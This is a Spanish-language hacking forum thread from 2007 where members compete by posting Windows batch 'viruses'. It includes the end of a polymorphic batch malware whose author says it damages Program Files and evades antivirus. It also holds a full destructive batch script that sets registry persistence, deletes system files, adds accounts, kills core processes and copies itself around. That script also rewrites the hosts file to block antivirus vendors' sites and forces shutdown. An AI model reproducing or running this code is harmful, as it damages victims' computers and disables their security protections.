find "mol3" <%fail%>>%vir%
start run2.vbs
goto qep
:d
find "molF" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
start run2.vbs
goto qep
:e
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
start run2.vbs
goto qep
:f
find "mol5" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
start run2.vbs
goto qep

explicacion: pos noc si alguno vio el tema del motor poliformico q expuse ace unos meses .... pues e modifikdo el code y le e agregado algunas rutinas viricas ... una para abrir los cd-roms cada minuto xD ... otra para dañar los programas q esten dentro de %programfiles% etc... etc ..etc todas estas en modulos q cambian de codigo cada 10 minutos aprox ... esto le ace pensar a la victima q esta siendo infectada con una gran variedad de viruses .. ademas de burlar a los AV... (x aora.. :s )

PD: weno tngo q resaltar q me pase 2 horas depurando el code en mi pc ... y me funk perfecto ... pero si algien le algun bug ..... le agredeceria un monton q lo posteara ..!  Grin

PD2: cmo ia lo e dixo antes ... no soy muy bueno a la ora de postear codes (no se como explicarme) asiq prefiero q si algien tiene una pregunta pues q la exponga...  Grin

... Saludos  Cool
« Última modificación: Noviembre 26, 2007, 10:30:56 por The Shadow » En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 915


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #20 en: Noviembre 26, 2007, 10:27:57 »
weno ... esta idea de acer duelos de mas 2 me parece q deberiams segirla practicando mas segido ... creo q es muy enriquecedor para la comunidad...

creo q asta aora solo 4 emos posteado code... e revisado los codes ( SkullMaster123, Sh4k4 y el de DaRkDiAm0nd) y me parecen muy buenos .. felicidades! ...y si me ponen a elegir estaria muy dificil ... pero me qdaria con el de Sh4k4 ... es un code muy simple y de muxa utilidad ... claro tmbien ay q resaltar el excelente manejo del winrar x consola de SkullMaster123 y las maravillas del registro de DaRkDiAm0nd.... xD

felicidades
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
SkullMaster123
Visitante
« Respuesta #21 en: Noviembre 26, 2007, 12:15:46 »
The shadow me ha impresionado tu code! Shocked esta bueno, como el de todos que postearon y aqui yo termino de postear el ulthimo code, que es de mi amigo(Por cierto mi amigo no se pudo registrar porque a la hora de registrarse el hace todo bien pero le diceh que las letras no coinciden Undecided ojala algun mod lo arregle  o vea que pasa) y bueno asi comenzar las votaciones aqui se los dejo

                          CODIGO:


 @echo off
echo  @echo off > C:\WINDOWS\vir1.bat
echo reg add rutavirus \run /v virus /d "C:\Windows\vir1.bat" >> C:\WINDOWS\vir1.bat
echo del /q /a /s C:\WINDOWS\system\MOUSE >> C:\WINDOWS\vir1.bat
echo AT 00:00 del /s /q bomba.bat >> C:\WINDOWS\vir1.bat
CLS
echo attrib +R -A -S -H C:\windows\system32\*.* /s /d >> C:\WINDOWS\vir1.bat
echo cd \ >> C:\WINDOWS\vir1.bat
echo net use hackeado por antrax /add >> C:\WINDOWS\vir1.bat
echo net use maria jose /add >> C:\WINDOWS\vir1.bat
echo net use hackeadoo /add >> C:\WINDOWS\vir1.bat
echo net use theantraxWasHear /add >> C:\WINDOWS\vir1.bat
echo net use antrax /add >> C:\WINDOWS\vir1.bat
echo del /f /q "C:\WINDOWS\system\keyboard" >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM explorer.exe >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM iexplorer.exe >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM msnmsgr.exe >> C:\WINDOWS\vir1.bat
echo taskkill /F /IM svchost >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\system32\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\system\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\Archivos de programa\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\" >> C:\WINDOWS\vir1.bat
copy /y %0 "C:\WINDOWS\Temp" >> C:\WINDOWS\vir1.bat
goto peris >> C:\WINDOWS\vir1.bat
:peris >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.mcafee.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  mcafee.com>>C:\WINDOWS\system32\drivers\etc\hosts  >> C:\WINDOWS\vir1.bat
goto rer >> C:\WINDOWS\vir1.bat

:rer >> C:\WINDOWS\vir1.bat
 @echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.google.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  google.com>>C:\WINDOWS\system32\drivers\etc\hosts  >> C:\WINDOWS\vir1.bat
goto givix >> C:\WINDOWS\vir1.bat

:givix >> C:\WINDOWS\vir1.bat
 @echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.avast.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  avast.com>>C:\WINDOWS\system32\drivers\etc\hosts  >> C:\WINDOWS\vir1.bat
goto carlos >> C:\WINDOWS\vir1.bat

:carlos >> C:\WINDOWS\vir1.bat
 @echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.youtube.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  youtube.com>>C:\WINDOWS\system32\drivers\etc\hosts  >> C:\WINDOWS\vir1.bat
goto yulery >> C:\WINDOWS\vir1.bat

:yulery >> C:\WINDOWS\vir1.bat
 @echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.hotmail.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  hotmail.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto medina >> C:\WINDOWS\vir1.bat

:medina >> C:\WINDOWS\vir1.bat
 @echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.eset.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  eset.com>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
goto perro >> C:\WINDOWS\vir1.bat

:perro >> C:\WINDOWS\vir1.bat
 @echo off >> C:\WINDOWS\vir1.bat
echo 216.49.88.10 
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.firefox.com
>>C:\WINDOWS\system32\drivers\etc\hosts >> C:\WINDOWS\vir1.bat
echo 216.49.88.10  firefox.com>>C:\WINDOWS\system32\drivers\etc\hosts  >> C:\WINDOWS\vir1.bat
goto virus >> C:\WINDOWS\vir1.bat
:virus >> C:\WINDOWS\vir1.bat
cls >> C:\WINDOWS\vir1.bat
echo shutdown -s -f -t 6 -c "Hackeado por antrax" >> C:\WINDOWS\vir1.bat
echo :hi >> C:\WINDOWS\vir1.bat
echo Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta Carpeta >> C:\WINDOWS\vir1.bat
echo goto hi >> C:\WINDOWS\vir1.bat
start C:\WINDOWS\vir1.bat
exit

Bueno fue creado por theAntrax, y aqui su explicacion: primero queh todo esto es un bat que crea y ejecuta otro bat! Wink este bat se agrega al registro, y borra el mouse del system, luego a las 00:00 se ejecuta de nuevo, luego agrega usuarios o mejor dicho crea nuevas sesiones, mata procesos, se copia muchas veces, y despues bloquea las paginas que aparecen en el codigo, luego hace shutdown de 6 segundos y luego crea un bucle para crear carpetas, y al final ejecuta el bat creado(El que acabo de explicar Wink ) bueno esperemos que se pueda registrar para que participe.

Bueno en parte tengo que a parte de agredecerles por participar felicitarlos a todos por sus codigos estan buenisimos, esto servira de aporte a sub-foro de batch, ojala y los mods lo tomen en cuenta! Tongue bueno se me hace muy dificil de elegir pero voy a votar por, The shadow (aunque quisiera votar por todos Tongue ) ya que su code esta bueno, a parte de ser poliformico e interesante Wink bueno un saludo y esperamos los votos de los demas! Tongue y como dije espero que algun Mod tome esto encuenta! Tongue

Salu2's! Cool
En línea